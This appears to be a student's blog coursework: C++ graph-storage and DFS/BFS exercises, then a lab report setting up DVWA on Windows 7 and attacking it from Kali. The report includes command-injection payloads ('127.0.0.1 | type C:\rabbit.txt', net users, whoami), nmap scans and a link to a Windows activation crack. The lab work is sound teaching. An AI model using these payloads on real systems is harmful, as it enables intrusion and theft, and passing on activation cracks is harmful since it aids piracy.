      • 过程中,uu 设置为当前边的 u 即为edge[j].uvv设置为当前边的v即为edge[j].vww则为edge[j].w也就是当前边的权值。
      • 如果发现当前边指向u 也就是 vv=u,则计算边权和。
  • 最后输出边权和ans

其实入度和出度可以在邻接表建立的时候进行维护,没必要在这里求。

inline int get_out_deg(int u) 函数

  • 跟上一个基本上是同理滴。u为要计算出度的节点。
  • 初始化计数器变量ans 设置为0
  • i为循环变量初始化为fst[u],循环条件:ii!=0),每次循环进行赋值i = edge[i].nxt即为:从链表头开始,每次赋值为后继,直到无法找到下一个后继为止

    • 统计当前边的边权,加到ans变量内。
  • 返回ans变量作为答案

addedge函数内记录出入度

在维护邻接表之后,添加下面两行即可。

in_deg[v]+=w;
out_deg[u]+=w;

分别让v的入度加w

让u的出度加w

添加这两个函数即可,这样就可以O(1)的时间复杂度求出入度和出度。

inline int get_ind_o1(int u){return in_deg[u];}
inline int get_outd_o1(int u){return out_deg[u];}

4. 源代码

#include<iostream>
#include<cstdio>

char map[]={-1,'a','b','c','d','e','f','g','h'};//用于查对应关系
//1号节点对应着a;2号节点对应着b
inline char map_fun(int x){return 'a'+x-1;}
inline int map_fun(char x){return x-'a'+1;}
int M;
int N;
const int maxn=1234;
struct Edge{
  int u,v,w;
  int nxt;
}edge[maxn<<1];
int cnt =0;
int fst[maxn];
int in_deg[maxn];
int out_deg[maxn];

inline void addedge(int u,int v, int w){//感觉是默写出来的
  edge[++cnt].u=u,edge[cnt].v=v,edge[cnt].w=w;
  edge[cnt].nxt=fst[u];
  fst[u]=cnt;
  //下面两行维护入度和出度
  in_deg[v]+=w;
  out_deg[u]+=w;
}


inline int get_out_deg(int u){//暴力求出度
  int ans = 0;
  for(int i=fst[u];i;i=edge[i].nxt){
    ans+=edge[i].w;
  }
  return ans;
}
inline int get_in_deg(int u){//暴力求入度
  int ans= 0;
  for(int i=1;i<=N;++i){
    for(int j=fst[i];j;j=edge[j].nxt){
      int uu = edge[j].u;
      int vv = edge[j].v;
      int ww = edge[j].w;
      if(vv==u)ans+=ww;
    }
  }
  return ans;
}

inline int get_ind_o1(int u){return in_deg[u];}//O1求出度和入度
inline int get_outd_o1(int u){return out_deg[u];}

int matrix[11][11];
inline void addedge_mat(int u,int v,int w){//邻接矩阵
  matrix[u][v]=w;
}
inline void show_mat(){//打印邻接矩阵,并且好看一点
  printf("-------------mat-------------\n");
  for(int j=0;j<=N;++j){
    printf("%5c ",map_fun(j));
  }
  printf("\n");
  for(int i=1;i<=N;++i){
    printf("%5c ",map_fun(i));
    for(int j=1;j<=N;++j){
      printf("%5d ",matrix[i][j]);
    }
    printf("\n");
  }
  printf("-------------mat-------------\n\n");
}

inline void show_edge(){//打印邻接表,并且好看一点
  for(int i=1;i<=N;++i){
    printf("%c:",map_fun(i));
    for(int u = fst[i];u;u=edge[u].nxt){
      // if(u==fst[i])printf("[first]")
      int uu=edge[u].u;
      int vv=edge[u].v;
      int ww=edge[u].w;
      int nxt=edge[u].nxt;
      printf("->[u:%d v:%d w:%d nxt:%d]",uu,vv,ww,nxt);
    }
    printf("\n");
  }
}

int main(){
  using namespace std;
  freopen("t1.in","r",stdin);//读入文件
  
  cin>>N>>M;
  for(int i=1;i<=M;++i){
    int u,v,w;
    cin>>u>>v>>w;//读入边
    addedge(u,v,w);//邻接表
    addedge_mat(u,v,w);//邻接矩阵
  }
  show_mat();//显示邻接矩阵

  //计算入度,出度
  int sum_in_deg=0;
  int sum_out_deg=0;
  for(int i=1;i<=N;++i){//计算出度和入度和和,并且打印。用两种方法计算,答案一样。
    sum_in_deg+=get_in_deg(i);
    sum_out_deg+=get_out_deg(i);
    printf("%c out_deg: %d in_deg:%d deg:%d\n",map_fun(i),get_out_deg(i),get_in_deg(i),get_ind_o1(i)+get_outd_o1(i));
  }
  printf("sum_in_deg:%d sum_out_deg:%d\n",sum_in_deg,sum_out_deg);
  //
  printf("\n-------------edge-------------\n");
  show_edge();//打印邻接矩阵
  printf("-------------edge-------------\n");
}

5. 代码输出

-------------mat-------------
    `     a     b     c     d     e     f     g
    a     0    15     2    12     0     0     0
    b     0     0     0     0     6     0     0
    c     0     0     0     0     8     4     0
    d     0     0     0     0     0     0     3
    e     0     0     0     0     0     0     9
    f     0     0     0     5     0     0    10
    g     0     4     0     0     0     0     0
-------------mat-------------

a out_deg: 29 in_deg:0 deg:29
b out_deg: 6 in_deg:19 deg:25
c out_deg: 12 in_deg:2 deg:14
d out_deg: 3 in_deg:17 deg:20
e out_deg: 9 in_deg:14 deg:23
f out_deg: 15 in_deg:4 deg:19
g out_deg: 4 in_deg:22 deg:26
sum_in_deg:78 sum_out_deg:78

-------------edge-------------
a:->[u:1 v:4 w:12 nxt:2]->[u:1 v:3 w:2 nxt:1]->[u:1 v:2 w:15 nxt:0]
b:->[u:2 v:5 w:6 nxt:0]
c:->[u:3 v:6 w:4 nxt:5]->[u:3 v:5 w:8 nxt:0]
d:->[u:4 v:7 w:3 nxt:0]
e:->[u:5 v:7 w:9 nxt:0]
f:->[u:6 v:4 w:5 nxt:9]->[u:6 v:7 w:10 nxt:0]
g:->[u:7 v:2 w:4 nxt:0]
-------------edge-------------

应该不用手画图了吧,代码都是自己写的。

|图论|图的存储结构+遍历序列

1.实训题目

8-2 图的存储结构+遍历序列

设有下列无向图:
(1)画出该图的邻接矩阵。(3分)
(2)画出该图的邻接表。(3分)
(3)从V1出发,按照(1)中存储结构,写出深度优先遍历序列(3分);
(4)从V1出发,按照(1)中存储结构,写出广度优先遍历序列(3分);

t4.png

2. 算法思想

邻接表邻接矩阵跟上一个题目一样啦。

分别进行深度优先和广度优先遍历就好啦。

深度的话dfs到头就好。

广度的话用一个队列作为辅助即可。

题目转换

t2.in

6 10
1 2
1 3 
1 4
2 3
2 5
3 4
3 5
3 6
4 6
5 6

pic

3. 算法步骤

  • 邻接矩阵和邻接表的遍历和输出同上面一样啦。

    • 邻接矩阵 打印二维数组
    • 邻接表 遍历每个点,然后遍历链表的每个节点就可以啦
  • DFS 遍历

    • vis 数组记录的是当前节点是否已经遍历过,避免循环遍历。
    • 遍历当前节点的所有边,如果指向的边没有被遍历过,则进行遍历。

      • 起始条件:i = fst[u],当i==0的时候终止,每次循环:i=edge[i].nxt
      • 如果目标点没有被遍历过,则标记该节点已经遍历了,递归遍历目标节点dfs(vv)
  • BFS 遍历(代码中遍历了两次,一次用了STL的队列,一次用的手写的简单的队列)

    • 定义一个队列q
    • 函数传参u,将u加入到队列中。
    • 循环:直到队列为空

      • 从队列中取出元素now_u
      • 输出当前节点。
      • 遍历now_u的所有边,如果指向的节点没有被访问到,则加入到队列中。
      • 不断循环此过程,直到队列为空为止。

4. 源代码

#include<bits/stdc++.h>
int M;
int N;
const int maxn=1234;
struct Edge{
  int u,v,w;
  int nxt;
}edge[maxn<<1];
int cnt =0;
int fst[maxn];
int in_deg[maxn];
int out_deg[maxn];
inline void addedge(int u,int v, int w){//感觉是默写出来的
  edge[++cnt].u=u,edge[cnt].v=v,edge[cnt].w=w;
  edge[cnt].nxt=fst[u];
  fst[u]=cnt;
}

int matrix[11][11];
inline void addedge_mat(int u,int v,int w){//邻接矩阵
  matrix[u][v]=w;
  matrix[v][u]=w;
}


inline void show_mat(){//打印邻接矩阵,并且好看一点
  printf("-------------mat_start-------------\n");
  for(int j=0;j<=N;++j){//打印横着的坐标
    printf("v%d    ",j);
  }
  printf("\n");//换行
  for(int i=1;i<=N;++i){
    printf("v%d %5",i);//竖着的坐标
    for(int j=1;j<=N;++j){
      printf("%5d ",matrix[i][j]);//矩阵数据
    }
    printf("\n");
  }
  printf("-------------mat_end-------------\n\n");
}

inline void show_edge(){//打印邻接表,并且好看一点
  printf("-------------edge_start-------------\n");
  for(int i=1;i<=N;++i){
    printf("v%d:",i);
    for(int u = fst[i];u;u=edge[u].nxt){
      int uu=edge[u].u;
      int vv=edge[u].v;
      int ww=edge[u].w;
      int nxt=edge[u].nxt;
      printf("->[u:%d v:%d w:%d nxt:%d]",uu,vv,ww,nxt);
    }
    printf("\n");
  }
  printf("-------------edge_end-------------\n");
}

struct queue2{//非循环队列
  int sz[maxn<<1];
  int tail;
  int head;
  queue2(){
    head = 1;
    tail = 1;
  }
  int front(){
    return sz[head];
  }
  void pop(){
    head++;
    return; 
  }
  int empty(){
    if(head>=tail)return 1;
    return 0;
  }
  void push(int x){
    sz[tail++]=x;
  }
};

int vis[maxn];
void dfs(int u){
  if(!vis[u]){
    printf("[v%d]",u);
    vis[u]=1;
  }else{
    printf("->[v%d]",u);
  }
  

  for(int i=fst[u];i;i=edge[i].nxt){
    int uu = edge[i].u;
    int vv = edge[i].v;
    if(!vis[vv]){
      vis[vv]=1;
      dfs(vv);
    }
  }
}


void bfs(int u){
  std::queue <int> q;
  q.push(u);
  for(;!q.empty();){
    int now_u = q.front();
    q.pop();
    vis[now_u]=1;
    printf("[v%d]",now_u);
    for(int i = fst[now_u];i;i=edge[i].nxt){
      int uu = edge[i].u;
      int vv = edge[i].v;
      // printf("de:%d->%d\n",uu,vv);
      if(!vis[vv]){
        vis[vv]=1;
        q.push(vv);
      }
    }
  }
}



void bfs2(int u){
  queue2 q;
  q.push(u);
  for(;!q.empty();){
    int now_u = q.front();
    q.pop();
    vis[now_u]=1;
    printf("[v%d]",now_u);
    for(int i = fst[now_u];i;i=edge[i].nxt){
      int uu = edge[i].u;
      int vv = edge[i].v;
      // printf("de:%d->%d\n",uu,vv);
      if(!vis[vv]){
        vis[vv]=1;
        q.push(vv);
      }
    }
  }
}


int main(){
  freopen("t2.in","r",stdin);
  using namespace std;
  cin>>N>>M;//读入节点和边
  for(int i=1;i<=M;++i){//读入边
    int u,v,w;
    cin>>u>>v;
    addedge(u,v,1);//无向图两次加边
    addedge(v,u,1);
    addedge_mat(u,v,1);
  }

  show_mat();
  show_edge();

  printf("\n------------dfs_start-------------\n");
  for(int i=1;i<=N;++i)vis[i]=0;//清空数组。
  dfs(1);
  printf("\n-------------dfs_end-------------\n");

  printf("\n------------bfs_start-------------\n");
  for(int i=1;i<=N;++i)vis[i]=0;//清空数组。
  bfs(1);//STL 队列
  printf("\n------------bfs_end-------------\n");


  printf("\n------------bfs_start-------------\n");
  for(int i=1;i<=N;++i)vis[i]=0;//清空数组。
  bfs2(1);//手写队列 非循环队列
  printf("\n------------bfs_end-------------\n");

}

程序输出

-------------mat_start-------------
v0    v1    v2    v3    v4    v5    v6
v1     0     1     1     1     0     0
v2     1     0     1     0     1     0
v3     1     1     0     1     1     1
v4     1     0     1     0     0     1
v5     0     1     1     0     0     1
v6     0     0     1     1     1     0
-------------mat_end-------------

-------------edge_start-------------
v1:->[u:1 v:4 w:1 nxt:3]->[u:1 v:3 w:1 nxt:1]->[u:1 v:2 w:1 nxt:0]
v2:->[u:2 v:5 w:1 nxt:7]->[u:2 v:3 w:1 nxt:2]->[u:2 v:1 w:1 nxt:0]
v3:->[u:3 v:6 w:1 nxt:13]->[u:3 v:5 w:1 nxt:11]->[u:3 v:4 w:1 nxt:8]->[u:3 v:2 w:1 nxt:4]->[u:3 v:1 w:1 nxt:0]
v4:->[u:4 v:6 w:1 nxt:12]->[u:4 v:3 w:1 nxt:6]->[u:4 v:1 w:1 nxt:0]
v5:->[u:5 v:6 w:1 nxt:14]->[u:5 v:3 w:1 nxt:10]->[u:5 v:2 w:1 nxt:0]
v6:->[u:6 v:5 w:1 nxt:18]->[u:6 v:4 w:1 nxt:16]->[u:6 v:3 w:1 nxt:0]
-------------edge_end-------------

------------dfs_start-------------
[v1]->[v4]->[v6]->[v5]->[v3]->[v2]
-------------dfs_end-------------

------------bfs_start-------------
[v1][v4][v3][v2][v6][v5]
------------bfs_end-------------

------------bfs_start-------------
[v1][v4][v3][v2][v6][v5]
------------bfs_end-------------

网络攻防实训报告

当前进度1.0 by.dayi

更新地址:https://type.dayiyi.top/index.php/archives/96/

任务一:kali作为攻击方,安装一个win7,安装一个dvwa作为靶机

安装虚拟机 win7

pic

  • pic
  • 秘钥不用填

    pic

  • 等待简易安装完成:

    image-20221203114139404

    image-20221203114623067

安装vmware tools(可选,但是推荐)

vmware tools 可以实现直接从虚拟机和实体机拖文件,提升帧数,自适应分辨率,但是此步骤目前看,坑稍微多一点。

懒猴子版本

dayi意识到下面的有点麻烦,所以直接弄了个懒猴子版本。

  • 下载这个文件:(服务器带宽有限制,如果你下载成功了,欢迎通过qq分享文件给你的好朋友)

  • 关闭虚拟机
  • 打开虚拟机设置

    • 删除软盘(可选)

      pic

    • 替换DVD文件到刚刚下的文件

      pic

  • 开机
  • 打开此电脑(win+E),如果显示找不到什么东西,就右键这个打开就好啦

    image-20221203130540541

    点这个打开就可以。

    image-20221203131650814

  • 依次打开这两个文件

    过程中可能会重启多次。

    先点1,再点2就可以啦,把两个文件都安装好就可以。

    image-20221203131736259

  • 更新:火狐浏览器也可以装一下
  • 再次重启就OK啦
  • 成功安装

    image-20221203131825421

我是勤快的小兔子
如果你上面做完了,这里的1-11就不用了
  1. 先把虚拟机关机
  2. 编辑虚拟机设置 -> 删除软盘,然后修改到光驱选项为自动检测

    image-20221203114806438

    image-20221203114825064

    1. 修改光驱为自动检测

      image-20221203114849315

    2. 保存,然后开机,如显示什么没有连接,什么的直接选是就行。

      image-20221203114944032

    3. 保存,然后开机
    4. 右键是这里,然后选安装vmware tools

      image-20221203115056021

    5. 打开计算机(下面的那个文件管理器)

      image-20221203115156951

    6. 双击或者选择这个文件,根据电脑性能不一样打开的速度不一样,稍微等一下就可以。

      image-20221203115234634

    7. 安装上这个软件,一直点下一步就可以。

      如果有问题就重新开下这个安装程序就可以啦。

      pic

      1. oh我的上帝,win7太老了,你的软件太新了,如果出现这种情况怎么办。(当然是直接放弃啦)

      image-20221203120428953

      1. 如果你遇到了10的问题

        • 下载一个浏览器吧,IE太老了,现在支持太差了

          • 用IE打开 ie.sogou.com

            image-20221203122639721

          • 欢迎网上冲浪
        • 如果你的win7不能联网

          • 最简单的,你重新装一下vmware workstations,杀毒软件不要再做优化,安装过程都允许。

          • 进入服务(win+r 输入services.msc),把vmware的所有服务都开启。

            • 这里有同学发现vmware的服务被删除了,那样就重装vmware吧(不要用2345了吧)
            • 然后 在vmware里面:编辑->更改设置(可选)->还原默认设置

              image-20221203123255637

        • win7打开这个网站:https://www.catalog.update.microsoft.com/search.aspx?q=kb4474419

          • 输入网站太麻烦?

          • 什么证书不认点确定就行。

            下载这个:image-20221203123454671

          • 然后安装这个就行

            1

          • 重启一下即可,然后重新安装vmware tools

激活win7(不必要过程)

此过程用于学习和交流,不得用于任何商业用途,有米可以支持正版。

小马OEM_https://p.dabbit.net/blog/pic_bed/OEM-8a29f1e7-a056-485c-9c6d-32528d48ae0d-154177649.zip

  • 如果你已经安装了vmware tools 直接这样就可以。否则可以参考上面的步骤先安装浏览器,也可以尝试IE直接打开,然后下载这个文件。
  • 拖~

    image-20221203132050574

  • 启动文件之后开始体验正版PWP

    image-20221203132147798

  • 右键桌面个性化->左边的桌面图标设置,可以把计算机调出来

    image-20221203132412689

  • 桌面右键计算机->属性,可以看到嘿嘿嘿啦

    pic

安装PhPStudy

  • 群文件版本,这是老师给的老版本(写完我才发现他给了个2016):

    这个版本默认似乎不会开机自动启动,如果重启之后找不到,到这里来:C:\phpStudy (安装目录)启动即可
    • 先安装微软常见运行库

      • 在群文件里,叫微软运行库合集

        下一步,然后等一下,有可能会重启一下。

        image-20221203140758449

    • 打开这个文件:

    pic

    • 修改D到C

      pic

    • 有个弹窗选是就可以
    • 启动完之后如图,你记得把你的两个调成绿的(点击:启动)

      image-20221203141003187

  • 【其他版本】下载phpstudy 版本

    • 链接:https://www.xp.cn/download.html 下载选择64位就可以

      image-20221203132614253

    • 然后把下好的文件拖到虚拟机里,没法拖可以试试复制粘贴。如果你没装vmware tools,就用win7浏览器打开即可,如果有问题请参考懒猴子版本。
    • 下完之后拖到虚拟机里。打开安装包(安装包在压缩包里)
    • 点击自定义,把D改成C

      image-20221203133805450

      pic

    • 立即安装
    • 安装好之后直接点这个。防火墙弹窗都要允许访问哦,忘了的话之后有问题就直接把防火墙关掉。

      image-20221203134408576

    • 这样就行了

      pic

    • 点击网站

      image-20221203135331443

image-20221203135354859

火狐浏览器的安装

你也可以直接通过IE浏览器打开 ie.sogou.com 下载搜狗浏览器

如果你已经安装好phpstudy,那么打开后大概这样子:

输入网址:http://127.0.0.1/ 或者 http://localhost/

如果你装的是8版本,那么打开内容可能不一样,但是不应该出现无法打开网页。

image-20221203142029831

安装DVMA

安装(复制粘贴)

写到这,我发现他好像给了个phpstudy2016,那样的话,用两个版本都可以啦。

如果你用的是2016版本,在这里打开根目录。

开始安装

火狐浏览器或者IE或者搜狗浏览器打开:

如果你服务器是nginx 则需要注意区分目录大小写
http://localhost/dvwa/
http://127.0.0.1/dvwa
这两个基本上是等价的

pic

修改参数

有很多需要更改的地方

  • 打开url_include

    image-20221203143219692

    自动重启或者手动重启之后,刷新一下网页,发现:PHP function allow_url_include: Enabled变成绿色的了

创建数据库

  • 创建数据库

    数据库默认密码 用户名:root 密码:root
    • 创建数据库dvwa,注意区分大小写
    • Mysql->快速创建

      image-20221203143950581

      image-20221203144148705

    • 确认数据库已经创建成功

      火狐浏览器打开网页http://localhost/phpMyAdmin/

      用户名:root

      密码:root

      点击执行:

      image-20221203144447689

      左边有了dvwa就可以啦

      image-20221203144534621

  • (可选)修改数据库root密码

image-20221203143452113

​ 原密码应该是root(我也是第一次用phpstudy),我就改成root了。更新:刚查的,是root。

​ 原密码填写root

image-20221203143525771

修改DVMA数据库信息

打开目录,如果你的不是在这里,你稍微对应一下就可以。

C:\phpStudy\WWW\dvwa\config

image-20221203144930050

打开config.inc文件

image-20221203145031115

将这数据库用户密码修改为你自己的

这里我没有修改默认数据库密码的,就是rootroot

pic

然后保存就可以啦

再刷新一下这个网页

http://localhost/dvwa/setup.php

pic

都是OK的,这样就可以开始安装了。

这里有同学问了,那个reCAPTCHA 也是红的,你咋不去修一下。

这个reCAPTCHA是google的验证码,就是给你9个图让你找防火栓的那个东西。由于国内连接google不稳定,以及申请reCAPTCHA APPKEY 超级麻烦,这里就不做了。

那样会带来什么缺失:登录的时候没有验证码。

image-20221203145615937

提示都是successful,然后会自动跳转。

image-20221203145734999

登录名:admin,密码 :password

pci

你看这里,显示logged as admin就可以啦!

pic

安装kali

这里可以一步一步的装,也可以用官方的vmware 虚拟机文件,打开即用。

使用官方的虚拟机包

我也觉得这是懒人包

解压 这个文件 ,这个文件之前传到群文件啦

kali-linux-2021.3-vmware-amd64.7z

解压之后打开里面的vmx

开机就好啦,用户名kali,密码kali

手动安装kali (推荐动手试一试哦)

这里是重新安装一次kali,用官方的vmware的版本的话,这一步可以直接忽略掉。

不过新版的kali好好看

真的好好看!!是不是超好看

image-20221203203751290

下载镜像
开始安装
  • 新建一个虚拟机,DVD镜像就选上面这个链接下载的文件就好啦。系统的换选Linux 5.11内核或者Debian 10 Debian11

    image-20221203162449460

  • 启动
  • 我选了图形界面安装,也就是第一个选项
  • 语言的话,兼容性好一点其实选择英文比较好

    image-20221203162553699

  • 安装界面倒是挺好看
  • 用户名设置一个就好啦,我这里设置了kali密码kali,域名不用填写
  • 一直下一步就可以啦

    1

  • 稍等片刻。
  • 然后工具选择默认的就可以啦

    image-20221203163523766

  • kali安装起来还是挺慢的,看你的电脑的性能啦
  • 设置引导分区:选sda就可以image-20221203164330654
安装完成后的微调
  • 再次安装vmware tools(意义不大|可选)

    • 这里其实不用啦,如果你安装正确的话,并且没有修改过多的虚拟机参数,会自动安装open-vm-tools,这样就可以复制文件啦。也可以自己安装一下。
    • 等待kali开机之后,登录上之后,随便复制个文件试一试,发现是没有问题滴!

      image-20221203165931985

    • 呃..如果你还是想装一次的话

      DVD连接之后,切换这个镜像文件,如果你的vmware安装的时候切换了目录的话,可以换一下

      C:\Program Files (x86)\VMware\VMware Workstation\linux.iso

      命令如下

      sudo su #切换到root
      cd /media/cdrom #进入光盘目录
      cp VMwareTools-10.3.23-16594550.tar.gz /tmp #复制到内存盘 注意,此处的文件名可能不一样
      cd /tmp 
      tar -xzvf VMwareTools-10.3.23-16594550.tar.gz #注意,此处的文件名可能不一样
      cd vmware-tools-distrib
      perl vmware-install.pl
      
      #然后一路回车就可以啦

      最后大概这个样子

      image-20221203173941124

添加中科大镜像源

打开终端

如何粘贴?

ctrl+shift+v

sudo su
sudo mv /etc/apt/sources.list /etc/apt/sources.list.bak

#下面两行一起复制
sudo echo 'deb https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src https://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib' > /etc/apt/sources.list

cat /etc/apt/sources.list
#↑如果有 deb https://mirrors ... 和 deb-src https:// ... 就可以啦

sudo apt-get update #更新包信息,如果没报错就对啦,或者说多输入几遍
sudo apt-get upgrade -y

image-20221204031254556

在kali上玩一下DVWA(可选)

序幕

先看一下windows 7 的ip地址

如何打开cmd -> 开始键+R 输入cmd ,然后按回车
  • 在cmd里面输入

    ipconfig /all

    image-20221203172652065

  • 也可以右键网络图标->打开网络和共享中心->打开本地连接

    image-20221203172507577

    点击详细信息,然后记录下IPV4的地址

    image-20221203172604969

    我这里的IP是192.168.226.128

    我们就开始吧

上号

卡里的左上角有一个火狐浏览器,我们打开它。

  • 尝试一下是否可以打开这个网页。
  • 在kali的浏览器里输入:http://192.168.226.128/

    如果打不开,尝试关闭windows的防火墙,以及开放域名到0.0.0.0

    image-20221203174347213

    发现没有问题滴

  • 登录到这里:

    http://192.168.226.128/dvwa/

    还记得用户名吗?

    用户名:admin
    密码:password

    image-20221203174648996

登录成功!

image-20221203174816314

调整难度

默认的难度是CVE难度,有点值钱,所以我们切换到最高难度Low

在左边选DVWA Security

然后难度选择Low就可以啦,记得点提交(Submit)

image-20221203175030237

指令注入小游戏

藏兔子
  • 在windows7的C盘藏一个小兔子

    image-20221203175422745

    image-20221203175449231

  • 我们的目标就是,在kali上,通过网页存在的漏洞来访问这个文件。
什么是ping

在windows的cmd里面,我们可以通过指令ping来探测网络的状况,如果主机收到了ping请求(ICMP)则会告诉你,它收到了。

比如:ping rabbit.dayiyi.top这样可以测试rabbit.dayiyi.top服务器是否能通,以及来回的延时是多少

image-20221203180135982

这样,我们就可以来获得一些基本的网络信息

windows cmd下的&

在cmd中 & | 这类可以连接两个命令,两个命令都会得到执行。

如图:通过运行:ping rabbit.dayiyi.top & ping dayi.ink

可以发现,两个命令都已经执行了

image-20221203180458114

windows 下的type

如果文件是文本文件,可以通过type 文件名来显示文件的内容

image-20221203180734965

于是,这样子可以在cmd中获得文件内容。

如果我们把文件通过一定的方式进行编码,比如base64等,这样做之后,不论什么文件,我们理论上都可以通过type命令获得全部的内容。

回到kali
  • 选择左边的Command Injection指令注入
  • 观察一下,网站提供给了大家一个ping命令,可以用来帮你用他的网络,来检测网络。
  • 我们尝试一下输入rabbit.dayiyi.top

    image-20221203180944780

    虽然中文乱码了,但是我们还是可以辨认出煮这是什么,以及发现了:

    • 这个功能可能是直接通过windows 的cmd的调用来实现的
  • 如果我们将上面的两个理论加以利用

    • 也就是

      127.0.0.1 | type C:\rabbit.txt
      或者
      rabbit.dayiyi.top | type C:\rabbit.txt
  • 这样子,会发生什么?

    1

你好像发现了什么神奇的东西,对吧?

这好像是我们之前藏在服务器上的文件。

如果这个可以看到,其他的同样可以看到。

其他的利用的简单举例
  • 显示系统用户

    127.0.0.1 | net users

    image-20221203181842402

  • 查看当前用户

      127.0.0.1 | whoami

    image-20221203181858560

  • 查看桌面文件

      127.0.0.1 | dir C:\Users\dayi\Desktop

    image-20221203181935511

    这个东西就是所谓的——远程代码执行。

    执行的是管理员用户,可以直接提权到SYSTEM用户,如果提权到SYSTEM用户,整台电脑的访问权限就完全完全拿下了。

任务二:通过nmap对于靶机进行扫描分析靶机相关信息

NMAP概述

原文链接:https://nmap.org/man/zh/index.html

Nmap (“Network Mapper(网络映射器)”) 是一款开放源代码的 网络探测和安全审核的工具。它的设计目标是快速地扫描大型网络,当然用它扫描单个 主机也没有问题。Nmap以新颖的方式使用原始IP报文来发现网络上有哪些主机,那些 主机提供什么服务(应用程序名和版本),那些服务运行在什么操作系统(包括版本信息), 它们使用什么类型的报文过滤器/防火墙,以及一堆其它功能。虽然Nmap通常用于安全审核, 许多系统管理员和网络管理员也用它来做一些日常的工作,比如查看整个网络的信息, 管理服务升级计划,以及监视主机和服务的运行。

Nmap输出的是扫描目标的列表,以及每个目标的补充信息,至于是哪些信息则依赖于所使用的选项。 “所感兴趣的端口表格”是其中的关键。那张表列出端口号,协议,服务名称和状态。状态可能是 open(开放的),filtered(被过滤的), closed(关闭的),或者unfiltered(未被过滤的)。 Open(开放的)意味着目标机器上的应用程序正在该端口监听连接/报文。 filtered(被过滤的) 意味着防火墙,过滤器或者其它网络障碍阻止了该端口被访问,Nmap无法得知 它是 open(开放的) 还是 closed(关闭的)。 closed(关闭的) 端口没有应用程序在它上面监听,但是他们随时可能开放。 当端口对Nmap的探测做出响应,但是Nmap无法确定它们是关闭还是开放时,这些端口就被认为是 unfiltered(未被过滤的) 如果Nmap报告状态组合 open|filteredclosed|filtered时,那说明Nmap无法确定该端口处于两个状态中的哪一个状态。 当要求进行版本探测时,端口表也可以包含软件的版本信息。当要求进行IP协议扫描时 (-sO),Nmap提供关于所支持的IP协议而不是正在监听的端口的信息。

除了所感兴趣的端口表,Nmap还能提供关于目标机的进一步信息,包括反向域名,操作系统猜测,设备类型,和MAC地址。

目标机IP位置:192.168.226.128

也可以直接扫描整个网段:192.168.226.0/24

通过命令sudo su切换到root用户,其他的不进行修改

wireshark 的抓包过程中:

  • 有些过程中屏蔽了以下IP:

    • 192.168.226.2 NAT的虚拟网关、虚拟DNS
    • 192.168.226.1 宿主机IP

简单扫描靶机

当防火墙开启的时:

通过nmap的扫描:

nmap 192.168.226.128

可以发现靶机的两个端口处于开放状态

  • 80 http
  • 3306 mysql

image-20221203190044677

如果关闭防火墙:

image-20221203214312142

再次扫描:

可以发现一些windows常见的接口也可以扫描出来

image-20221203214423994

如果进行抓包(在后面的-sS参数 章节。可以发现,一种是被忽略,一种是服务器返回了RST包)

参数:-sn通过ping扫描整个网段

kali运行

sudo su
nmap -sn 192.168.226.0/24

pic

如果用wireshark的抓包,可以发现,ping扫描其实是发送的ARP包,对所有的IP进行广播。

image-20221203200554199

而如果进行跨网段ping的时候:

除去DNS的查询,还有几个包

  • ICMP ping包(ECHO)
  • TCP SYN 端口443
  • TCP ACK 端口80
  • ICMP timestamp

image-20221203204256342

参数 --packet-trace

可以显示packet的追踪的发送与答复以及过程,与wireshark抓包抓到的结果一样

nmap -sn a.dayiyi.top --packet-trace

image-20221203205224337

image-20221203205452987

参数: --traceroute 路由追踪显示所有路由

nmap --traceroute 39.105.181.66

image-20221203185646946

参数:-p 指定端口

nmap 192.168.226.128 -p 1-1024,3306 #--packet-trace

1

参数:-sS TCP SYN扫描 也被称为半连接扫描

nmap 192.168.226.128 -p 1-1024,3306 -sS #--packet-trace

image-20221203210906657

分析

通过wireshark抓包可以得到

nmap 192.168.226.128 -p 80 -sS --packet-trace

ARP广播之后,

  • 发送 SYN包
  • 服务器返回SYN+ACK
  • 发送RST 重置连接

image-20221203211333702

如果对于无法访问/不能确定/关闭的端口:

nmap 192.168.226.128 -p 81 -sS --packet-trace

image-20221203211445152

发送两个SYN包,没有得到回应

image-20221203211417893

将windows7的防火墙关闭:

如何关闭windows 防火墙?

控制面板\系统和安全\Windows 防火墙 ->打开或关闭防火墙

将两个全部关闭即可

重新扫描81端口

image-20221203211634691

观察可以发现,判定为close的端口

  • 发送SYN包
  • 服务器返回 RST ACK
  • 判定端口已经关闭

image-20221203211721601

后期补充:

查阅文档(https://nmap.org/man/zh/man-port-scanning-techniques.html):

-sS (TCP SYN扫描)

SYN扫描作为默认的也是最受欢迎的扫描选项,是有充分理由的。 它执行得很快,在一个没有入侵防火墙的快速网络上,每秒钟可以扫描数千个 端口。 SYN扫描相对来说不张扬,不易被注意到,因为它从来不完成TCP连接。 它也不像Fin/Null/Xmas,Maimon和Idle扫描依赖于特定平台,而可以应对任何兼容的 TCP协议栈。 它还可以明确可靠地区分open(开放的), closed(关闭的),和filtered(被过滤的) 状态

它常常被称为半开放扫描, 因为它不打开一个完全的TCP连接。它发送一个SYN报文, 就像您真的要打开一个连接,然后等待响应。 SYN/ACK表示端口在监听 (开放),而 RST (复位)表示没有监听者。如果数次重发后仍没响应, 该端口就被标记为被过滤。如果收到ICMP不可到达错误 (类型3,代码1,2,3,9,10,或者13),该端口也被标记为被过滤。

跟实际的情况一样,并且更好理解啦

参数:-sU UDP扫描

nmap -p U:53 223.5.5.5 -sU

image-20221203212243206

抓包分析:

实际过程比想象的复杂的多。

nmap先通过SYN半连接扫描,然后再发送UDP包(被wireshark识别为DNS包)

image-20221203213228917

尝试扫描54,避免识别为DNS包

image-20221203213341404

得到的结果大致发送了一个空包。

查阅官方文档:

原文链接:https://nmap.org/man/zh/man-port-scanning-techniques.html

UDP扫描发送空的(没有数据)UDP报头到每个目标端口。 如果返回ICMP端口不可到达错误(类型3,代码3), 该端口是closed(关闭的)。 其它ICMP不可到达错误(类型3, 代码1,2,9,10,或者13)表明该端口是filtered(被过滤的)。 偶尔地,某服务会响应一个UDP报文,证明该端口是open(开放的)。 如果几次重试后还没有响应,该端口就被认为是 open|filtered(开放|被过滤的)。 这意味着该端口可能是开放的,也可能包过滤器正在封锁通信。 可以用版本扫描(-sV)帮助区分真正的开放端口和被过滤的端口。

参数:-sT TCP connect扫描

也算是一种全连接扫描。

在没有权限发送原始报文或者在IPV6下的常见的方法

简单扫描:

nmap -sT 192.168.226.128

我感觉比我想象的扫描要快,不知道为什么

